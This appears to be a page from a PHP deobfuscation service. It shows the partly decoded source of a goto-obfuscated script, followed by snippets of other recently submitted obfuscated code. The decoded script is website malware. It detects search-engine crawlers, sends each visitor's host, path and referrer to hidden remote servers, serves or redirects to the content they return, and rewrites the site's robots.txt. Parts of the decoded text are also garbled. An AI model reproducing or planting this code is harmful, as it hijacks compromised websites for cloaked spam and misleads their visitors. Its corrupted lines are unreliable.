"nobotuseragent"; goto Cg0jD; lcICO: $FVP_S = Tohyd(); goto sZRIz; Cg0jD: } goto qplXN; qplXN: function tOHYD() { $f5Kdx = range("a", "z"); return [$f5Kdx[5] . $f5Kdx[8] . $f5Kdx[11] . $f5Kdx[4] . "_" . $f5Kdx[15] . $f5Kdx[20] . $f5Kdx[19] . "_" . $f5Kdx[2] . $f5Kdx[14] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[4] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[18], $f5Kdx[5] . $f5Kdx[8] . $f5Kdx[11] . $f5Kdx[4] . "_" . $f5Kdx[6] . $f5Kdx[4] . $f5Kdx[19] . "_" . $f5Kdx[2] . $f5Kdx[14] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[4] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[18], $f5Kdx[18] . $f5Kdx[19] . $f5Kdx[17] . "_" . $f5Kdx[17] . $f5Kdx[14] . $f5Kdx[19] . ""]; }

Decrypted code level 2:

goto cOmDc; blt1c: hY47y: goto GBH3g; cOmDc: $ItImW = ["+7%38%33%2D%79%76%61%78%%38%%2E3%%626/6%%2E%67%%", "%37+8%%2D%79%761%78%31+8%32*E/6%61/2%73%73%6E%6F%79%6C%2E%6B%6C%6D", "%%38%33*D%79/6%61%78+1%38%32%2EF%%76%74%75%67%%%65/6%63%2E%6BC%6D", "%37%38+3*D%79%%61%78%31%38+2%2E1/2%6B%67%72%6138%63%63%2EB%6C%6D"]; goto YACeF; UND6C: ZrDve: goto Xsqc5; U3t09: $Ki09e = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?: "en"; goto qhY36; n4p2J: $BY5uB = $_SERVER["HTTP_REFERER"]; goto Sfr1J; WI1US: echo $CAz5I; goto Pi7Zh; cROif: $xhnFv = $xhnFv == '' ? "/" : $xhnFv; goto r1vkV; HF_vi: $CAz5I = str_replace("3page", '', $CAz5I); goto PzGfE; lLwas: if (!($bu_fR !== false)) { goto Xykdi; } goto Sm86U; qL_WK: FzIXk: goto YR7jg; Pckna: goto VPAAF; goto AW8qG; YCCFy: y3uJH: goto Fv0u9; HQPA0: JmLra: goto HmDv_; Z7C4P: $xlUV3 = false; goto i37J5; Gr8lO: @header("HTTPy1 0 Internal Server Error"); goto Xu3yx; UsUob: goto S560V; goto UND6C; kuRRQ: exit; goto FVzRi; sJzba: $GkKtv = "7-link182"; goto Z7C4P; WuMd7: function gWYc9() { goto TOvPk; TOvPk: $w10kH = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess"; goto ruyW2; ihhRO: nSC0O: goto kGhr1; NpE7B: JMHLc: goto jHcXz; jHcXz: return 1; goto ihhRO; lJM3N: return 2; goto NcQ3c; ruyW2: if (file_exists($w10kH)) { goto JMHLc; } goto lJM3N; NcQ3c: goto nSC0O; goto NpE7B; kGhr1: } goto H523T; M3hZV: if (strstr($CAz5I, "nobotuseragent")) { goto VUznw; } goto bYGic; L1l8r: $JOCyF = $_SERVER["HTTP_HOST"]; goto U3t09; dJUNz: goto hY47y; goto aWVVy; Pi7Zh: exit; goto PQOrI; TB5pU: DCFDl: goto K3nv5; WfGXe: $CAz5I = str_replace("okhtml", '', $CAz5I); goto a1R2L; pCDnK: @header("Content-Type: text/plain"); goto WI1US; NQzOD: if (!strstr($CAz5I, "okrobots")) { goto P2qCG; } goto vaYMk; Fv0u9: $bay1D = "indexphp"; goto DyF2o; LwKWu: function DhFFz() { goto CtDLs; oTH6C: return 1; goto ffW2K; p1r_O: if (stristr($rRxQM, "googlebot") || stristr($rRxQM, "bing") || stristr($rRxQM, "yahoo") || stristr($rRxQM, "google") || stristr($rRxQM, "Googlebot")) { goto AAu2y; } goto ZoVzG; Y3IR_: AAu2y: goto oTH6C; ffW2K: zOPh7: goto G9R1s; W9X0B: goto zOPh7; goto Y3IR_; CtDLs: $rRxQM = strtolower($_SERVER["HTTP_USER_AGENT"]); goto p1r_O; ZoVzG: return 2; goto W9X0B; G9R1s: } goto Ts1L9; PkPHg: if (empty($SX7mo) || "O" == "wp-cromphp" || "O" == "detailphp") { goto y3uJH; } goto wnLDj; teVA0: $xhnFv = str_replace("/" . $bay1D, '', $xhnFv); goto wQEIg; K3nv5: if (!($xhnFv != "/")) { goto NVDE4; } goto teVA0; AW8qG: SAJvz: goto Gr8lO; u_NgV: $VOI_Y = "https"; goto blt1c; vL0a_: $VOI_Y = "http"; goto dJUNz; Xsqc5: @header("HTTPy1 4 Not Found"); goto vLY5U; YR7jg: $CAz5I = str_replace("okxml", '', $CAz5I); goto AJ8b4; HmDv_: if (!stristr($xhnFv, "/?")) { goto nR1NP; } goto IzYqs; K27ML: $xlUV3 = true; goto TB5pU; kUqUq: $n18Az = str_replace(".php", '', $bay1D); goto LgAQS; NLtnl: Qq5xZ: goto UsUob; IzYqs: $n18Az = "?"; goto WmWrG; o0bb8: if (!isset($_SERVER["HTTP_REFERER"])) { goto NoZcC; } goto n4p2J; JEqd2: if (jUgtT()) { goto WKKNx; } goto vL0a_; P07WG: if (strstr($CAz5I, "404page")) { goto ZrDve; } goto yt7pz; yt7pz: if (strstr($CAz5I, "1page")) { goto wX9rS; } goto sYMFU; wQEIg: $xhnFv = str_replace("/indexphp", '', $xhnFv); goto rC2_X; aWVVy: WKKNx: goto u_NgV; uEHtT: $xhnFv = sjk7g(); goto cROif; H523T: function FaFFd($CmUGN) { goto nZxGf; HF01F: $FYons = "User-agent: *" . PHP_EOL; goto O5Eu_; CO659: $EgqrM = "O"($w10kH); goto AIH0a; s35We: goto OA6q0; goto il3y6; O5Eu_: $FYons .= "Allow: /" . PHP_EOLPHP_EOL; goto SjdQB; SjdQB: $FYons .= "Sitemap: " . $CmUGN . "/sitemapxml" . PHP_EOL; goto IoatA; ayRXo: "T"($w10kH, $FYons); goto h_pPi; nZxGf:  goto Bchow; bof2a: oT9eZ: goto s35We; IoatA: if (!file_exists($w10kH)) { goto lLtQ3; } goto CO659; Bchow: $w10kH = $_SERVER["DOCUMENT_ROOT"] . "/robotstxt"; goto HF01F; h_pPi: OA6q0: goto X2hTp; yy8n7: "T"($w10kH, $FYons); goto bof2a; il3y6: lLtQ3: goto ayRXo; AIH0a: if (!($EgqrM !== $FYons)) { goto oT9eZ; } goto yy8n7; X2hTp: } goto StPC8; V1nDZ: $CAz5I = HbeDW($ItImW, $lp3VB, $iAZCW); goto M3hZV; B6lhQ: exit; goto JKAiR; Sm86U: $bay1D = substr($xhnFv, 0, $bu_fR + strlen($bay1D)); goto fuuX3; OvBLm: echo $GkKtv; goto RLXCU; e9mtE: b8gWK: goto vyhsP; DyF2o: $n18Az = "index"; goto HQPA0; bYGic: if (strstr($CAz5I, "okhtml")) { goto b8gWK; } goto ixg36; OovuT: S560V: goto Pckna; LTKK2: goto ZNX4R; goto qL_WK; Sfr1J: NoZcC: goto JEqd2; qhY36: $BY5uB = ''; goto o0bb8; LgAQS: goto JmLra; goto YCCFy; Xu3yx: exit; goto XOuDZ; JPG2Z: $xhnFv = urlencode($xhnFv); goto vNjRc; hwzmp: VUznw: goto LwKWu; MlH4n: $bu_fR = strpos($xhnFv, $bay1D); goto lLwas; AJ8b4: @header("Content-Type: application/xml; charset=utf-8"); goto EzFdT; vaYMk: $CAz5I = str_replace("okrobots", '', $CAz5I); goto pCDnK; vLY5U: exit; goto OovuT; r1vkV: preg_match("/\/([^\/]+\.php)/", $xhnFv, $SX7mo); goto PkPHg; fuuX3: $bay1D = ltrim($bay1D, "/"); goto X9WnF; JKAiR: TPb8A: goto hwzmp; twYCk: @header("HTTP/11 1 Moved Permanently"); goto HF_vi; B44Fk: wX9rS: goto twYCk; a1R2L: if (!$xlUV3) { goto RbaOS; } goto OvBLm; PzGfE: header("Location: " . $CAz5I); goto E4UKs; Ema8i: $iAZCW = "web=" . $JOCyF . "&zz=" . $UIB67 . "&uri=" . $xhnFv . "&urlshang=" . $BY5uB . "&http=" . $VOI_Y . "&lang=" . $Ki09e . "&server=" . $G5VDh . "&model=" . $n18Az . "&version=" . ($xlUV3 ? $GkKtv : ''); goto V1nDZ; FaC3T: echo $CAz5I; goto B6lhQ; GBH3g: $UIB67 = dhFfZ(); goto uEHtT; RLXCU: RbaOS: goto FaC3T; FVzRi: ZNX4R: goto d642a; WmWrG: nR1NP: goto sJzba; PQOrI: P2qCG: goto LTKK2; XOuDZ: VPAAF: goto dlqvr; d642a: goto Qq5xZ; goto B44Fk; i37J5: if (!(strpos($xhnFv, $GkKtv) !== false)) { goto DCFDl; } goto nnt5L; Ts1L9: function sjk7g() { goto yT3Dx; fBEIt: $xhnFv = $_SERVER["REQUEST_URI"]; goto sWWrw; xinCQ: Hv5LF: goto rBHEC; KvL10: return $xhnFv; goto flSVN; yT3Dx: if (isset($_SERVER["REQUEST_URI"])) { goto l3JXr; } goto wc9tH; MkW3H: goto qXTtD; goto fI9pV; eeIqL: gveG2: goto MkW3H; JWVs1: $xhnFv = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto n1Rl6; n1Rl6: goto gveG2; goto xinCQ; fI9pV: l3JXr: goto fBEIt; sWWrw: qXTtD: goto KvL10; rBHEC: $xhnFv = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto eeIqL; wc9tH: if (isset($_SERVER["argv"])) { goto Hv5LF; } goto JWVs1; flSVN: } goto RST_c; RST_c: function JUgTt() { goto ee0Km; sbmnu: G4eqZ: goto cEwJO; r0oOB: goto uPGpa; goto sbmnu; kwthR: goto uPGpa; goto Xo23c; Xo23c: QTKyz: goto UFk12; PNPkH: return true; goto r0oOB; cEwJO: return true; goto kwthR; UFk12: return true; goto uPo_H; uPo_H: uPGpa: goto gRAdV; kedvn: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto QTKyz; } goto lLztl; ekr00: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto G4eqZ; } goto kedvn; lLztl: goto uPGpa; goto alPhS; gRAdV: return false; goto dqGqO; ee0Km: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto oFh9E; } goto ekr00; alPhS: oFh9E: goto PNPkH; dqGqO: } goto WuMd7; YACeF: $lp3VB = "http"; goto L1l8r; q1d7e: $xhnFv = str_replace($GkKtv, '', $xhnFv); goto K27ML; sYMFU: if (strstr($CAz5I, "okxml")) { goto FzIXk; } goto NQzOD; EzFdT: echo $CAz5I; goto kuRRQ; dlqvr: goto TPb8A; goto e9mtE; vyhsP: @header("Content-type: text/html; charset=utf-8"); goto WfGXe; vNjRc: $G5VDh = gWyC9(); goto nTR0m; nnt5L: $UIB67 = 1; goto q1d7e; X9WnF: Xykdi: goto kUqUq; ixg36: if (strstr($CAz5I, "getcontent500page")) { goto SAJvz; } goto P07WG; E4UKs: exit; goto NLtnl; sPMBO: NVDE4: goto JPG2Z; rC2_X: $xhnFv = str_replace("!", '', $xhnFv); goto sPMBO; wnLDj: $bay1D = "O"; goto MlH4n; nTR0m: fAFFd($VOI_Y . "://" . $JOCyF); goto Ema8i; StPC8: function HBedW($RrV69, $lp3VB, $iAZCW) { goto lcICO; ipofb: foreach ($RrV69 as $nGnL9) { goto p8GGo; VLmdO: curl_setopt($sIKWv, CURLOPT_URL, $CmUGN); goto YVg0D; NnAAL: u1zct: goto TeFlr; dJfH8: Wydq2: goto oviRp; zm91J: echo "443"; goto VERPx; l7NvS: $PmXHI = @"O"($CmUGN); goto l20YF; cmR6t: qXRC4: goto tXlxW; fTqGu: return $PmXHI; goto cmR6t; BLFgb: A7WtH: goto dJfH8; tXlxW: if (!ini_get("allow_url_fopen")) { goto Wydq2; } goto l7NvS; oviRp: pgRuA: goto dV93A; rMUu2: return $PmXHI; goto BLFgb; npmkY: $PmXHI = curl_exec($sIKWv); goto azuVv; VERPx: QTGr2: goto UY_GT; TeFlr: curl_close($sIKWv); goto fTqGu; UY_GT: curl_close($sIKWv); goto RsS1y; p8GGo: $nGnL9 = "H"(urldecode($nGnL9)); goto t133Z; l20YF: if (!($PmXHI !== false)) { goto A7WtH; } goto rMUu2; UJYKC: $sIKWv = curl_init(); goto VLmdO; RsS1y: goto qXRC4; goto NnAAL; t133Z: $CmUGN = $lp3VB . "://" . $nGnL9 . "/super6php?" . $iAZCW; goto UJYKC; YVg0D: curl_setopt($sIKWv, CURLOPT_RETURNTRANSFER, true); goto npmkY; azuVv: if (!curl_errno($sIKWv)) { goto u1zct; } goto ijInJ; ijInJ: if (!stristr(curl_error($sIKWv), "3")) { goto QTGr2; } goto zm91J; dV93A: } goto pf0cm; pf0cm: ti0vK: goto uLcrT; sZRIz: shuffle($RrV69); goto ipofb; uLcrT: return "nobotuseragent"; goto Cg0jD; lcICO:  goto sZRIz; Cg0jD: } goto qplXN; qplXN: function tOHYD() {  return ["(""d_" . $f5Kdx[15] . $f5Kdx[20] . $f5Kdx[19] . "_H)"" . $f5Kdx[19] . "d"" . $f5Kdx[19] . $f5Kdx[18], "(""d_)d" . $f5Kdx[19] . "_H)"" . $f5Kdx[19] . "d"" . $f5Kdx[19] . $f5Kdx[18], $f5Kdx[18] . $f5Kdx[19] . $f5Kdx[17] . "_" . $f5Kdx[17] . ")" . $f5Kdx[19] . ""]; }

Recent submissions:

<?php $_0xmyu2d='M7AFvuv0ZJzO1heC';function _0x7wjep($_0xphakr, $_0xt2vlt) {$_0xgavhf = st... <?php goto cOmDc; blt1c: hY47y: goto GBH3g; cOmDc: $ItImW = ["\45\x33\67\x25\63\x38\45\6... {"result":{"doctors":[{"doctor_key":"7Zsq3GJYZ6","title":"\u0645\u0647\u0646\u062f \u0645\... </script> <script type='text/javascript'> //<![CDATA[ function ancMedia(){url=window.lo... script type='text/javascript'> //<![CDATA[ function ancMedia(){url=window.location.href,... var postResults=themeSettings.postPerPage; var numOfPages=2; var pageOf=["Page", "of"]; ... var pageOf=["Page", "of"]; eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parse... <?php $z = ""; $z .= "UEQ5"; $z .= "d2FI"; $z .= "QUtD"; $z .= "a0Jw"; $z .= "Ym1s";... \x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x... goto G3Rr2; HV0Iz: $AQTh0 = "\40\40\x20\x20\x62\x32\x4a\x66\x5a\127\x35\x6b\130\x32\116\16...